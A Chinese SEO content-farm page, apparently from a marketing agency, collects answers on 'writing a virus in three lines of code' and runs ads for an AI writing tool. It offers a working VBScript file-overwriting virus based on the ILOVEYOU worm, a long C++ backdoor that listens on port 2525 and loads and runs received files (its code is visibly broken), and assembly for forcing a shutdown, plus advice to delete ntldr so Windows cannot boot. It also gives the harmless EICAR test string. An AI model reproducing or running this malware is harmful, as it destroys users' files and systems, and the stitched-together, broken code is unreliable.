HOME 首頁
SERVICE 服務(wù)產(chǎn)品
XINMEITI 新媒體代運營
CASE 服務(wù)案例
NEWS 熱點資訊
ABOUT 關(guān)于我們
CONTACT 聯(lián)系我們
創(chuàng)意嶺
讓品牌有溫度、有情感
專注品牌策劃15年

    三行代碼寫一個病毒(三行代碼寫一個病毒的程序)

    發(fā)布時間:2023-04-14 02:34:49     稿源: 創(chuàng)意嶺    閱讀: 75        

    大家好!今天讓創(chuàng)意嶺的小編來大家介紹下關(guān)于三行代碼寫一個病毒的問題,以下是小編對此問題的歸納整理,讓我們一起來看看吧。

    開始之前先推薦一個非常厲害的Ai人工智能工具,一鍵生成原創(chuàng)文章、方案、文案、工作計劃、工作報告、論文、代碼、作文、做題和對話答疑等等

    只需要輸入關(guān)鍵詞,就能返回你想要的內(nèi)容,越精準,寫出的就越詳細,有微信小程序端、在線網(wǎng)頁版、PC客戶端

    官網(wǎng):https://ai.de1919.com

    創(chuàng)意嶺作為行業(yè)內(nèi)優(yōu)秀的企業(yè),服務(wù)客戶遍布全球各地,如需了解SEO相關(guān)業(yè)務(wù)請撥打電話175-8598-2043,或添加微信:1454722008

    本文目錄:

    三行代碼寫一個病毒(三行代碼寫一個病毒的程序)

    一、求用vbs編寫autorun病毒簡單代碼,給分很多的

    自己改一下:

    dim

    folder,fso,foldername,f,d,dc

    set

    fso=createobject("scripting.filesystemobject")

    set

    self=fso.opentextfile(wscript.scriptfullname,1)

    vbscopy=self.readall

    '讀取病毒體,以備復制到文件

    self.close

    set

    dc=fso.Drives

    for

    each

    d

    in

    dc

    if

    d.drivetype=3

    or

    d.drivetype=2

    then

    '檢查磁盤類型

    wscript.echo

    d

    '彈出窗口,顯示找到盤符

    scan(d)

    end

    if

    next

    lsfile=wscript.scriptfullname

    '該腳本程序路徑

    set

    lsfile=fso.getfile(lsfile)

    lsfile.delete(true)

    '病毒運行后自我刪除(本人自加,愛蟲病毒本身沒有該代碼)

    sub

    scan(folder_)

    on

    error

    resume

    next

    set

    folder_=fso.getfolder(folder_)

    set

    files=folder_.files

    for

    each

    file

    in

    files

    ext=fso.GetExtensionName(file)

    '獲取文件后綴

    ext=lcase(ext)

    '后綴名轉(zhuǎn)換成小寫字母

    if

    ext="mp5"

    then

    '如果后綴名是mp5,當然不存在這種文件,這里可以自己修改,但是注意。請自己建立相應(yīng)后綴名的文件,最好是非正常后綴名

    set

    ap=fso.opentextfile(file.path,2,true)

    '

    ap.write

    vbscopy

    '覆蓋文件,慎用

    ap.close

    set

    cop=fso.getfile(file.path)

    cop.copy(file.path

    &

    ".vbs")

    '創(chuàng)建另外一個病毒文件

    '

    file.delete(true)

    '刪除原來文件

    end

    if

    next

    set

    subfolders=folder_.subfolders

    for

    each

    subfolder

    in

    subfolders

    '搜索其他目錄

    scan(subfolder)

    next

    end

    sub

    二、怎樣用記事本編病毒

    歐洲計算機防病毒協(xié)會提供的測試病毒代碼。本代碼盡管測試,無任何危險。

    復制下面的代碼到文本中保存

    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

    復制上面的代碼到文本中保存。

    測試方法:

    1.鼠標右鍵點擊桌面空白處,創(chuàng)建一個“文本文檔”。

    2.將上面這段測試代碼復制到“文本”里,保存,然后可以直接右鍵點擊這個文本,用殺毒軟件掃描也可以等一會,如果你的殺毒軟件還行,會自動報毒并將該文本刪除那就可以初步放心了。

    測試原理:

    該段代碼是歐洲計算機防病毒協(xié)會開發(fā)的一種病毒代碼,其中的特征碼已經(jīng)包含在各種殺毒軟件的病毒代碼庫里,所以可以用做測試病毒掃描引擎。

    測試等級:

    特等:復制完代碼后便提示內(nèi)存有病毒

    優(yōu)等:剛保存完就提示病毒(或者直接刪除)

    中等:保存后幾秒提示病毒(或者直接刪除)

    下等:需自己啟動病毒掃描查殺才提示病毒(或者直接刪除)

    劣等:無論怎么掃描都無法提示病毒(或者直接刪除)

    三、求C++病毒代碼

    /*

    分布式病毒協(xié)議的C/C++描述代碼

    Coded by Vxk in CVC

    CopyRight® 2001-2002

    2002.10.18..night

    */

    #include <windows.h>

    #include <winsock.h>

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <time.h>

    typedef struct CONNINST

    {

    SOCKET socket; /* 本地Socket號 */

    unsigned short clientPort; /* 客戶端端口 */

    struct in_addr clientIP; /* 客戶端IP地址 */

    time_t beginTime; /* 連接建立時間 - 預留 */

    time_t updateTime; /* 最后更新時間 - 預留 */

    WORD lastestSequenceNumber; /* 最新包序號 */

    unsigned short key; /* 密鑰 - 預留*/

    unsigned short cmdLen; /* 結(jié)果堆長度 */

    char *pCmd; /* 命令堆 */

    unsigned short resultLen; /* 結(jié)果堆長度 */

    char *pResult; /* 結(jié)果堆 */

    struct CONNINST* next; /* 下一個請求實例的地址 */

    }CONNINST, *pCONNINST;

    typedef struct Maillist

    {

    String Address;

    String Name;

    Struct Maillist *pNext;

    }Maillist,*pMaillist;

    typedef struct Moudlelist

    {

    String MoudleName;

    String MoudleFileName;

    String MoudleGuid;

    String UseFor;

    String MoudleAuther;

    Struct Moudlelist *pNext;

    }Moudlelist,*pMoudlelist;

    typedef struct FileUpData

    {

    struct in_addr clientIP;

    DWORD port;

    DWORD SAMGuid;

    String FileName;

    lvoid cmd;

    }FileUpData,*pFileUpData;

    typedef struct DVPPak

    {

    String SAMCommand;

    String Guid;

    String Auther;

    lvoid Cmd;

    pMaillist *pMail;

    pMoudlelist *pMoudle;

    String Versionofme;

    pmyPCinfo *pcinfo;

    }DVPPak, *pDVPPak;

    HINSTANCE hInst; /* 當前實例句柄 */

    HWND hWndMain; /* 主窗口句柄 */

    SOCKET listenSocket; /* 監(jiān)聽套接口 */

    pCONNINST pConnInstHead;

    pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);

    pCONNINST getConnInst(SOCKET);

    void OnWrite(SOCKET socket);

    int netHalt(void);

    void delConnInst(pCONNINST);

    Void DvpExpCmd(Socket s);

    void delAllConnInst(void);

    void RecvFileThreadProc(pFileUpData *plm);

    void SendFileThreadProc(pFileUpData *plm);

    int uiStartup(HINSTANCE hInstance, int nCmdShow);

    LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);

    int netStartup(void);

    void OnAccept(SOCKET socket);

    void OnClose(SOCKET socket);

    void OnRead(SOCKET socket);

    void sendResult(SOCKET socket);

    int netStartup(void)

    {

    unsigned short wVersionRequested=MAKEWORD(1,1);

    WSADATA wsaData;

    SOCKADDR_IN saServer;

    DWORD dwAddrStrLen;

    char szAddress[128];

    int nRet;

    /* 初始化WinSock */

    if(WSAStartup(wVersionRequested, &wsaData)!=0)

    {

    //("Dvp 錯誤 :: 網(wǎng)絡(luò)協(xié)議啟動失敗,請重新啟動計算機.");

    }

    /* 檢查Winsock版本 */

    if(wsaData.wVersion != wVersionRequested)

    {

    //("Dvp 錯誤 :: 網(wǎng)絡(luò)協(xié)議版本錯誤,請升級Winsock.");

    }

    /* 創(chuàng)建流式套接口 */

    listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if(listenSocket==INVALID_SOCKET)

    {

    //("ERROR :: Can not create steam socket.");

    return 0;

    }

    /* 通知套接口有請求事件發(fā)生 */

    nRet=WSAAsyncSelect(listenSocket,

    hWndMain, //在網(wǎng)絡(luò)事件發(fā)生時需要接收消息的窗口句柄

    UM_ASYNC, //在網(wǎng)絡(luò)事件發(fā)生時要接收的消息

    FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);

    //只在程式開始執(zhí)行一次,以后只要有套接口請求就發(fā)送消息

    if (nRet==SOCKET_ERROR)

    {

    //("ERROR :: Can not initialize steam socket.");

    closesocket(listenSocket);

    return 0;

    }

    /* 地址結(jié)構(gòu)設(shè)定 */

    saServer.sin_port=htons(2525); //端口在這里哦

    saServer.sin_family=AF_INET;

    saServer.sin_addr.s_addr=INADDR_ANY;

    /* 將一本地地址3872與套接口listenSocket捆綁 */

    nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));

    if (nRet==SOCKET_ERROR)

    {

    //("ERROR :: Can not bind socket to local port 1936.");

    //("HINT :: Dvp Kernel Server can only run in one thread.");

    closesocket(listenSocket);

    return 0;

    }

    /* 讓套接口開始監(jiān)聽 */

    nRet = listen(listenSocket, SOMAXCONN);

    if (nRet == SOCKET_ERROR)

    {

    //("ERROR :: Can not listen.");

    closesocket(listenSocket);

    return 0;

    }

    dwAddrStrLen = sizeof(szAddress);

    GetLocalAddress(szAddress, &dwAddrStrLen);

    return 1;

    }

    /* Unknown how */

    int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)

    {

    struct in_addr *pinAddr;

    LPHOSTENT lpHostEnt;

    int nRet;

    int nLen;

    // Get our local name

    nRet = gethostname(lpStr, *lpdwStrLen);

    if(nRet==SOCKET_ERROR)

    {

    lpStr[0]='\0';

    return SOCKET_ERROR;

    }

    // "Lookup" the local name

    lpHostEnt=gethostbyname(lpStr);

    if(lpHostEnt==NULL)

    {

    lpStr[0] = '\0';

    return SOCKET_ERROR;

    }

    // format first address in the list

    pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);

    nLen=strlen(inet_ntoa(*pinAddr));

    if((DWORD)nLen>*lpdwStrLen)

    {

    *lpdwStrLen=nLen;

    WSASetLastError(WSAEINVAL);

    return SOCKET_ERROR;

    }

    *lpdwStrLen = nLen;

    strcpy(lpStr, inet_ntoa(*pinAddr));

    return 0;

    }

    int uiStartup(HINSTANCE hInstance, int nCmdShow)

    {

    WNDCLASS DvpWindow;

    HANDLE hObject;

    /* 創(chuàng)建實例 */

    hInst=hInstance;

    /* 判斷是否已經(jīng)運行 */

    hObject=CreateMutex(NULL,FALSE,"DvpC");

    if(GetLastError() == ERROR_ALREADY_EXISTS)

    {

    CloseHandle(hObject);

    PostQuitMessage(0);

    return 0;

    }

    /* 創(chuàng)建窗口 */

    DvpWindow.style=0;//指定類的風格

    DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口過程的遠指針

    DvpWindow.cbClsExtra=0;//窗口結(jié)構(gòu)額外字節(jié)數(shù)

    DvpWindow.cbWndExtra=0;//窗口實例額外字節(jié)數(shù)

    DvpWindow.hInstance=hInstance;//窗口過程所在的實例

    DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//調(diào)用標識類的圖標

    DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//調(diào)用標識類的光標

    DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//標識背景類的畫刷

    DvpWindow.lpszMenuName=NULL;//指向標識類菜單資源的字符串,以空字符結(jié)束

    DvpWindow.lpszClassName="DVPSample";//標識本類的名稱

    RegisterClass(&DvpWindow);//注冊窗口

    hWndMain=CreateWindow("DVPSample",

    "DVPSample",

    WS_OVERLAPPEDWINDOW,

    CW_USEDEFAULT,CW_USEDEFAULT,

    CW_USEDEFAULT,CW_USEDEFAULT,

    NULL,NULL,hInstance,NULL);

    if(!hWndMain) return 0;

    ShowWindow(hWndMain,SW_HIDE);//顯示窗口

    UpdateWindow(hWndMain);//更新窗口

    return 1;

    }

    //處理窗口消息

    LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

    {

    switch(message)//開始處理消息

    {

    /* User Interface Message */

    case WM_CLOSE:

    return(DefWindowProc(hWnd,message,wParam,lParam));

    break;

    case WM_DESTROY:

    deleteSystrayIcon();

    PostQuitMessage(0);

    break;

    case WM_SIZE:

    delAllConnInst();

    break;

    /* Network Message */

    case UM_ASYNC:

    switch(WSAGETSELECTEVENT(lParam))

    {

    case FD_ACCEPT:

    OnAccept((SOCKET)wParam);

    break;

    case FD_READ:

    OnRead((SOCKET)wParam);

    break;

    case FD_WRITE:

    OnWrite((SOCKET)wParam);

    break;

    case FD_CLOSE:

    OnClose((SOCKET)wParam);

    break;

    }

    break;

    default:

    return(DefWindowProc(hWnd,message,wParam,lParam));//默認窗口過程的消息處理

    }

    return(0);

    }

    pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)

    {

    /* 分配一塊新的連接實例 */

    pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));

    /* 沒有內(nèi)存了 */

    if(newConnInst==NULL) return NULL;

    /* 分配一塊新的SOCKADDR實例 */

    // newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);

    // newConnInst->sockAddr=malloc(nAddrLen);

    /* 沒有內(nèi)存了 */

    // if(newConnInst->lpSockAddr==NULL)

    // {

    // free(newConnInst);

    // return NULL;

    // }

    //裝填新的請求包

    newConnInst->socket=socket;

    newConnInst->clientPort=port;

    newConnInst->clientIP=ip;

    newConnInst->pCmd=NULL;

    newConnInst->pResult=NULL;

    newConnInst->cmdLen=0;

    newConnInst->resultLen=0;

    newConnInst->beginTime=time(NULL);

    newConnInst->updateTime=newConnInst->beginTime;

    newConnInst->lastestSequenceNumber=0;

    newConnInst->next=NULL;

    //如果請求鏈表是空的

    if(pConnInstHead==NULL)

    {

    //將這個請求作為鏈表頭,放到pConnInstHead

    pConnInstHead=newConnInst;

    }

    else

    {

    pCONNINST tempConn=pConnInstHead;

    //走到鏈表尾

    while(tempConn->next) tempConn=tempConn->next;

    //追加新包到鏈表尾

    tempConn->next=newConnInst;

    }

    //返回裝填好的包的指針

    return newConnInst;

    }

    pCONNINST getConnInst(SOCKET socket)

    {

    /* 遍歷鏈表,尋找套接口 */

    pCONNINST tempConn=pConnInstHead;

    while(tempConn!=NULL)

    {

    if(tempConn->socket==socket) break;

    tempConn=tempConn->next;

    }

    /*若沒有,返回NULL */

    return(tempConn);

    }

    void delConnInst(pCONNINST pConnInstToDel)

    {

    /* 如果要刪除的是鏈表頭 */

    if(pConnInstToDel==pConnInstHead)

    {

    /* pConnInstHead->next 成為頭 */

    pConnInstHead=pConnInstHead->next;

    /* 對鏈表頭的free()在最后進行 */

    }

    else

    {

    pCONNINST tempConn=pConnInstHead;

    /* 從鏈表頭開始 到NULL為止 每次指向下一個*/

    while(tempConn!=NULL)

    {

    /* 若當前的下一個是要被刪除的 */

    if (tempConn->next==pConnInstToDel)

    {

    /* 當前的下一個變成下一個的(要被刪除的)下一個 */

    tempConn->next=pConnInstToDel->next;

    break;

    }

    }

    }

    /* 釋放pConnInstToDel占用的內(nèi)存 */

    free(pConnInstToDel->pCmd);

    free(pConnInstToDel->pResult);

    free(pConnInstToDel);

    return;

    }

    void delAllConnInst(void)

    {

    pCONNINST tempConn=pConnInstHead;

    pCONNINST tempConn2;

    /* 遍歷鏈表,依次釋放內(nèi)存 */

    /* 若存在tempConn則繼續(xù)for */

    while(tempConn!=NULL)

    {

    tempConn2=tempConn->next;

    // free(tempConn->lpSockAddr);

    // free(tempConn->pResultBuf);

    free(tempConn->pCmd);

    free(tempConn->pResult);

    free(tempConn);

    tempConn=tempConn2;

    }

    pConnInstHead=NULL;

    return;

    }

    void OnAccept(SOCKET socket)

    {

    SOCKADDR_IN sockAddrIn;

    pCONNINST connInst=NULL;

    SOCKET peerSocket;

    int tempLength;

    // accept the new socket descriptor

    tempLength=sizeof(SOCKADDR_IN);

    peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);

    if(peerSocket==SOCKET_ERROR)

    {

    if(WSAGetLastError()!=WSAEWOULDBLOCK)

    {

    //("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));

    return;

    }

    }

    //讓它也可以在讀寫或關(guān)閉的時候向窗口發(fā)送消息

    WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);

    if(peerSocket==SOCKET_ERROR)

    {

    //("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));

    return;

    }

    //將這已連接的套接口放到鏈表里

    connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);

    if (connInst==NULL)

    {

    //內(nèi)存滿了

    //("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));

    closesocket(peerSocket);

    return;

    }

    //("A new request from: %s is accepted on socket %d.",

    inet_ntoa(sockAddrIn.sin_addr), peerSocket);

    return;

    }

    void OnClose(SOCKET socket)

    {

    pCONNINST connInst;

    // 檢查是否已經(jīng)刪除了這個套接口

    connInst=getConnInst(socket);

    if (connInst==NULL) return;

    // It is still in stock list

    // The client must have to reset the connection.

    // Clean up.

    //("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);

    closesocket(connInst->socket);

    delConnInst(connInst);

    }

    /* 可以讀取數(shù)據(jù)了 */

    void OnRead(SOCKET socket)

    {

    pCONNINST connInst;

    int bytesReceive;

    char* pNewCmd=NULL;

    /* 查找對應(yīng)的連接實例 */

    connInst=getConnInst(socket);

    /* 如果找不到連接實例, 讀光緩沖區(qū), 然后ByeBye */

    if(connInst==NULL)

    {

    char buf[1024];

    while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);

    closesocket(socket);

    //("When ready to receive (OnREAD), get some noise - DEBUG");

    //("it is %c%c%c",buf[0],buf[1],buf[2]);

    return;

    }

    /* 否則將所有數(shù)據(jù)讀入命令堆 */

    if(connInst->pCmd==NULL)

    {

    connInst->pCmd=(char*)malloc(64);

    connInst->cmdLen=0;

    if(connInst->pCmd==NULL)

    {

    //("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));

    closesocket(connInst->socket);

    delConnInst(connInst);

    return;

    }

    }

    pNewCmd=(char*)malloc(64);

    if(pNewCmd==NULL)

    {

    //("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));

    closesocket(connInst->socket);

    delConnInst(connInst);

    return;

    }

    memset(pNewCmd, 0, 64);

    bytesReceive=recv(socket, pNewCmd, 64, 0);

    //("收到:%d字節(jié)",bytesReceive);

    if(bytesReceive==SOCKET_ERROR)

    {

    //操作此時由于Windows Sockets實現(xiàn)的資源或其它限制的制約而無法調(diào)度

    if(WSAGetLastError()==WSAEWOULDBLOCK) return;

    //("recv() Error");

    //("Closing socket: %d", connInst->socket);

    closesocket(connInst->socket);

    delConnInst(connInst);

    return;

    }

    /* 有的時候, OnRead消息是假的, 收到的字節(jié)數(shù)是-1, 要忽略這種情況*/

    if(bytesReceive>0)

    {

    connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);

    memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);

    connInst->cmdLen+=bytesReceive;

    free(pNewCmd);

    DvpExpCmd(socket);

    }

    else

    {

    free(pNewCmd);

    }

    return;

    }

    Void DvpExpCmd(Socket s)

    {

    pCONNINST connInst=getConnInst(s);

    char *pThisCmd=NULL; /* 從命令堆里面讀取第一個命令包, 這個用來保存命令包的地址 */

    char *pSwap=NULL; /* 清除命令堆舊命令交換用的指針 */

    if(pThisCmd==NULL)

    {

    //("DEBUG - 無法定義命令包起點, 函數(shù)返回, 等待命令.");

    return;

    }

    if(pThisCmd > connInst->pCmd)

    {

    /*

    如果前面有殘余數(shù)據(jù), 那么就立刻清除殘余數(shù)據(jù)

    這種情況遇到的不會多

    */

    //("處理殘余數(shù)據(jù)");

    pSwap=connInst->pCmd;

    connInst->pCmd=strdup(pThisCmd);

    connInst->cmdLen-=(pThisCmd-connInst->pCmd);

    free(pSwap);

    /* 繼續(xù) */

    }

    LVoid pak;

    while (*pThisCmd!=Null)

    {

    pak+=*pThisCmd;

    pThisCmd+=sizeof(char);

    }

    pDVPPak *myDvp=*(DVPPak*)pak;

    if(myDvp->SAMCommand=='UPData')

    {/*對方傳文件給我們??!*/

    pFileUpData *Up=*(FileUpData*)myDvp->cmd;

    DWORD dwThread;

    if(*up!=Null){up->clientIP=pThisCmd->clientIP;

    if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受線程

    {//something wrong with Recv... }else

    { if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//處理權(quán)限,自己發(fā)揮吧。。。

    { int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );

    MoudleStart(Up->Cmd);//開始執(zhí)行!

    }}

    }

    free(up);

    }

    if(myDvp->SAMCommand=='GetData')

    {/*2002.10.19*/

    /*對方要我們的文件*/

    pFileUpData *Up=*(FileUpData*)myDvp->cmd;

    if(up!=Null){up->clientIP=pThisCmd->clientIP;

    DWORD dwThread;

    if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件傳送線程

    {//something wrong with Recv... }

    else{/*傳輸SamCmmand='UpData',cmd=(lvoid*)up給對方*/}}

    free(up);

    }

    if(myDvp->SAMCommand==Null)

    {

    /*處理對方發(fā)來信息中有用的信息*/

    /*對于我們來講,這個問題是應(yīng)該由個人處理的*/

    /*對于這里我們還要給對方返回一包即我們的信息*/

    /*此處需要發(fā)送消息到對方,來獲得如文件之類的東西*/

    }

    free(pThisCmd);

    free(myDvp);

    return -1;

    }

    void OnWrite(SOCKET socket)

    {

    pCONNINST connInst;

    connInst=getConnInst(socket);

    /* 如果找不到連接實例, 讀光緩沖區(qū), 然后ByeBye */

    if(connInst==NULL)

    {

    char buf[1024];

    while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);

    closesocket(socket);

    //("When ready to send, get some noise");

    //("it is %c%c%c",buf[0],buf[1],buf[2]);

    return;

    }

    /* 如果連接實例有需要發(fā)送的數(shù)據(jù) */

    if(connInst->pResult!=NULL)

    {

    sendResult(socket);

    }

    return;

    }

    void sendResult(SOCKET socket)

    {

    pCONNINST connInst=getConnInst(socket);

    int bytesSent;

    bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);

    if(bytesSent==SOCKET_ERROR)

    {

    if (WSAGetLastError()!=WSAEWOULDBLOCK)

    {

    //("send() Error");

    //("Closing socket: %d", connInst->socket);

    closesocket(connInst->socket);

    delConnInst(connInst);

    return;

    }

    }

    if((unsigned int)bytesSent<connInst->resultLen)//如果發(fā)送的字節(jié)少于結(jié)果字節(jié)

    {

    char* temp;

    connInst->resultLen=connInst->resultLen-bytesSent;

    temp=(char*)malloc(connInst->resultLen);

    memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);

    free(connInst->pResult);

    connInst->pResult=temp;

    }

    else //如果全部發(fā)送完畢

    {

    free(connInst->pResult);

    connInst->resultLen=0;

    connInst->pResult=NULL;

    }

    }

    int netHalt(void)

    {

    pCONNINST connTemp;

    /* 關(guān)閉監(jiān)聽套接口 */

    closesocket(listenSocket);

    /* 關(guān)閉所有正在連接的套接口 */

    connTemp=pConnInstHead;

    while(connTemp)

    {

    closesocket(connTemp->socket);

    connTemp=connTemp->next;

    }

    /* 清除請求包鏈表 */

    delAllConnInst();

    Beep(200,50);

    WSACleanup();

    return 1;

    }

    int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

    {

    MSG msg;

    /* User Interface Startup */

    uiStartup(hInstance, nCmdShow);

    /* Network Startup */

    netStartup();

    /*我們在下面應(yīng)該做些什么?搜索ip連接。。。。。*/

    /* 進入消息循環(huán) */

    while(GetMessage(&msg,NULL,0,0))

    {

    TranslateMessage(&msg);

    DispatchMessage(&msg);

    }

    /* Network Halt*/

    netHalt();

    return 0;

    }

    void RecvFileThreadProc(pFileUpData *plm)

    {

    // Open target file

    // Get remote address

    int i,nPort;

    char svAddress[256];

    lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);

    for(i=0;i<256;i++) {

    if(svAddress==':') {

    svAddress='\0';

    nPort=atoi(&svAddress[i+1]);

    break;

    }

    }

    // Put into SOCKADDR_IN structure

    SOCKADDR_IN saddr;

    struct hostent *he;

    DWORD dwIPAddr;

    dwIPAddr=inet_addr(svAddress);

    if(dwIPAddr==INADDR_NONE) {

    he=gethostbyname(svAddress);

    if(gethostbyname==NULL) {

    free(plm);

    return 1;

    }

    dwIPAddr=*(DWORD *)he->h_addr_list[0];

    }

    memset(&saddr,0,sizeof(SOCKADDR_IN));

    saddr.sin_family=AF_INET;

    saddr.sin_port=htons(plm->port);

    saddr.sin_addr.s_addr=dwIPAddr;

    // Create socket

    SOCKET sv;

    sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

    if(s==INVALID_SOCKET) {

    free(plm);

    return 1;

    }

    // Connect to remote port

    if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {

    closesocket(sv);

    free(plm);

    return 1;

    }

    // Nonblocking mode

    DWORD dwBlock=1;

    ioctlsocket(sv, FIONBIO, &dwBlock);

    HANDLE hFile;

    hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

    if(hFile!=NULL) {

    int nBytes;

    DWORD dwCount;

    char svBuffer[1024];

    do {

    // Give up time

    Sleep(20);

    nBytes=recv(sv,svBuffer,1024,0);

    if(nBytes>0) {

    WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);

    }

    } while(nBytes>0);

    CloseHandle(hFile);

    }

    closesocket(sv);

    return 0;

    }

    void SendFileThreadProc(pFileUpData *plm)

    {

    SOCKET sv;

    sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

    if(sv==INVALID_SOCKET) {

    free(plm);

    return -2;

    }

    // Bind to desired port

    SOCKADDR_IN saddr;

    memset(&saddr,0,sizeof(SOCKADDR_IN));

    saddr.sin_family=AF_INET;

    saddr.sin_port=htons(plm->port);

    saddr.sin_addr.s_addr=0;

    if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {

    closesocket(s);

    free(pptp);

    free(ppi);

    return -1;

    }

    listen(sv,MAX_CONNECTIONS);

    // Nonblocking mode

    DWORD argp=TRUE;

    ioctlsocket(sv,FIONBIO,&argp);

    sleep(1000);

    SOCKET psv;

    int tempLength;

    // accept the new socket descriptor

    tempLength=sizeof(SOCKADDR_IN);

    psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);

    if(peerSocket==SOCKET_ERROR)

    {

    if(WSAGetLastError()!=WSAEWOULDBLOCK)

    {

    //("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));

    return;

    }

    }

    HANDLE hInFile;

    hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);

    if(hInFile==INVALID_HANDLE_value) {

    //Couldn't open local file.

    return -1;

    }

    char svBuffer[1024];

    DWORD dwBytes;

    do {

    ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);

    if(send(psv,svBuffer,dwBytes,0)<=0) break;

    } while(dwBytes==1024);

    closesocket(psv);

    closesocket(sv);

    CloseHandle(hInFile);

    Return -1;

    }

    四、如何用匯編語言編寫一個簡單的小病毒代碼

    這簡單啊

    .386

    .model flat,stdcall

    option casemap:none

    include windows.h

    include user32.h

    includelib user32.lib

    .code

    start:

    invoke ExitWindowsEx,EWX_SHUTDOWN,0

    end start

    你試試就知道了,根本關(guān)不了機。需要權(quán)限的。需要 SE_SHUTDOWN 權(quán)限的,要先提權(quán)。

    可以DeleteFile 刪除C盤根目錄下的ntldr 這個文件,重啟直接無法啟動了...

    以上就是關(guān)于三行代碼寫一個病毒相關(guān)問題的回答。希望能幫到你,如有更多相關(guān)問題,您也可以聯(lián)系我們的客服進行咨詢,客服也會為您講解更多精彩的知識和內(nèi)容。


    推薦閱讀:

    三行代碼寫一個病毒(三行代碼寫一個病毒的程序)

    杭州十三行批發(fā)市場在哪里(杭州十三行批發(fā)市場在哪里進貨)

    中國2050回歸的領(lǐng)土有多大(中國2050回歸的領(lǐng)土有多大平方公里)

    抖音傭金沒提現(xiàn)怎么變成0了(抖音上傭金沒提現(xiàn),怎么沒了)